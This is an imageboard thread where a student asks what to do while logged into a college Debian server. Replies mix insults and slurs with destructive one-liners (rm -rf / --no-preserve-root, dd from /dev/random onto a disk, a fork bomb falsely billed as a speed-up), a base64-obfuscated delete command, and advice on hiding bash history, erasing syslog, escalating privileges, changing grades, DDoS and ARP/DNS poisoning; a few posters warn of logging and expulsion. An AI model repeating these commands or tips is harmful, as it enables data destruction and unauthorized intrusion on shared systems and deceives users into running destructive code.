I'm logged on my college's debian server, what kind of fun things can I do ?

I'm logged on my college's debian server, what kind of fun things can I do ?

Logout.

install your own email server so you can get college discounts after you finish school

>implying

Oh ! Good idea, I'll try to install postfix but I think it will need more privileges... But my student account is over on december the 31th.

Probably not much they can't restore from a backup, unless they're idiots. Which, given my experience with college / educational establishments in general, they almost certainly are.

install a deluge and seed anime

homework assignments, I assume

kill yourself

Mirror and upload of everything on it

probably nothing because they probably gave you access to it so you could do your homework.

stop being a nigger faggot and do your homework.

Screenfetch for /hsg/.

Change your grades lol

Mine a cryptocurrency, bot RuneScape gp, install gentoo

...

groups
id -g

rm -rf /

--no-preserve-root

CTRL + D

>chorme

It's firefucks.

wow good job

>not having funny tabs on for our entertainment

Post screenfetch, install xorg and i3 and rice it.

Set up a VPN

sudo rm -rf --no-preserve-root /

show neofetch pls

:(){ :|: & };:

What does it mean?

Huehuehue

Try it.

Why OP doesn't update post?

Install ganoo

install windows server

I don't have admin rights.
Maybe you know some good exploits for privilege escalation ?

Are you retarded, user?
Do you want to get kicked out or worse?

Ssssshh. OP's probly in the library.

post kernel version, group permissions, if selinux is on and environment variables

Kernel?

>ssh

also symlink your bash history to dev null, just in case

>justin case

>sofunny.hue

Just let him ruin his entire college education. He clearly has no clue the information that is logged when he access or logs in under an elevated account or the history of commands he attempts to try.

Just let 'em do what they want. They'll learn the hard way, I guess. I've been a sys-admin for years and I don't use my powers for evil.

One day, someone will hack OP's shit and ruin his life for fun and he'll wish that they didn't.

But that's okay, it's all just fun and games, right?

Syslog can be removed, too.

Also
>what is vpn
>what is tor

> Syslog can be removed, too.
Some people set up a remote syslog server.
I don't believe he'll suffer any consequences, depends on the Debian version. if it's 6 or lower, people don't care about it.

Why? Can you elaborate?

:(){ :|: & };:

> Why?
Well, if they don't update their system (6 is unsupported for a year now), it means they won't monitor root exploits. Most probably. The only thing that may spook them is the "Last login: xxxxxx from " string from openssh-server.

the classic one

rm -rf / --no-preserve-root

sudo rm -r -f /

>traceroute google.com
post result here

>what is vpn
>what is tor
means nothing if the account you use for auth can be traced back to you

$(cm0gLXJmIC9ob21lL3F1NGNrCg== | base64 -d)

touch a gajillion files then rm them all. you can fry a disk

Chances are you can priv escalate and get root.

why would someone try to rm -rf /home/qu4ck instead of ?

and it will not work if you don't echo/printf the string, so you should have written something like
$(echo "evil command encoded" | base64 -d) or $(printf "evil command encoded" | base64 -d)

sudo dd if=/dev/random of=/dev/sda

wouldn't it be more efficient/failproof to use /dev/urandom instead of /dev/random?

yeah i had a feeling i did it wrong, but did it seriously decode to my username?

Yeah, at least my version of base64 did so(8.26). But what have you done to create that base64 string?

nerd

i just used base64 v 8.25

well that's strange, as far as I know, it shouldn't have done something too different... could you post the entire command that you used?

Nice try sociopath. Clever way of asking how do I do x.

A fork bomb.

>what is vpn
>what is tor
really, op?

echo "rm -rf ~" | base64

nvm i actually forgot the quotation marks the first time

Oooooh that explains it. I was trying to figure out how did ~ expanded inside the double quotes ha ha ha

install raspberry pi

urandom is slower because it requires more entropy

>french
that's probably a shitty uni with a subpar sysadmin

[s]testing[/s]

test

>urandom
>requires more entropy

I'm going to assume that if you have to ask, you'll probably be expelled soon.

change time by -15 min

That would require he gain root privileges first.

ddos from it

Spy on what everyone else is doing. There's nothing else really interesting you can do.

I remember at my uni every single computer administered by the computer science department, several hundred lab machines, servers, etc, we're all named and had entries in a common host file. You could ssh into a lab machines while someone was using it do whatever. Infact a TA encouraged us to do just that when we needed a ton of machines to demo for a distributed systems class

poison arp tables and reroute dns to your server and change the ptr records of the server to be your server. proceed to backup their server to yours incrementally

lmao

Give everyone in art school an F
Give everyone in calculus an A
Give everyone else a B

If you can leave comments with grades, then ask Sup Forums what do.

It's a really neato program that makes your computer 10 times faster.
Run it, thank me later ;^)

why did you have to ruin the fun?

sudo apt-get install sl
echo alias ls=sl >> ~/.bashrc

can you faggots stop bumping this thread?
OP is not delivering because he's a lying or scared. fuck you OP, die in a fire

I'm not at college right now. I'll post again this afternoon, don't worry.

>no funny tabs

This will only affect his own account.
/etc/bash.bashrc would be better but OP doesn't have superuser privileges

It's just a bunch of obscure emojis. Doesn't do anything

>apt on debian

Don't do that. They will see the traffic and ban your account. And if you're no longer a student, it can be criminal charges.

you madman

you didn't post anything yesterday while you could. stop lying you fuck and let the thread die.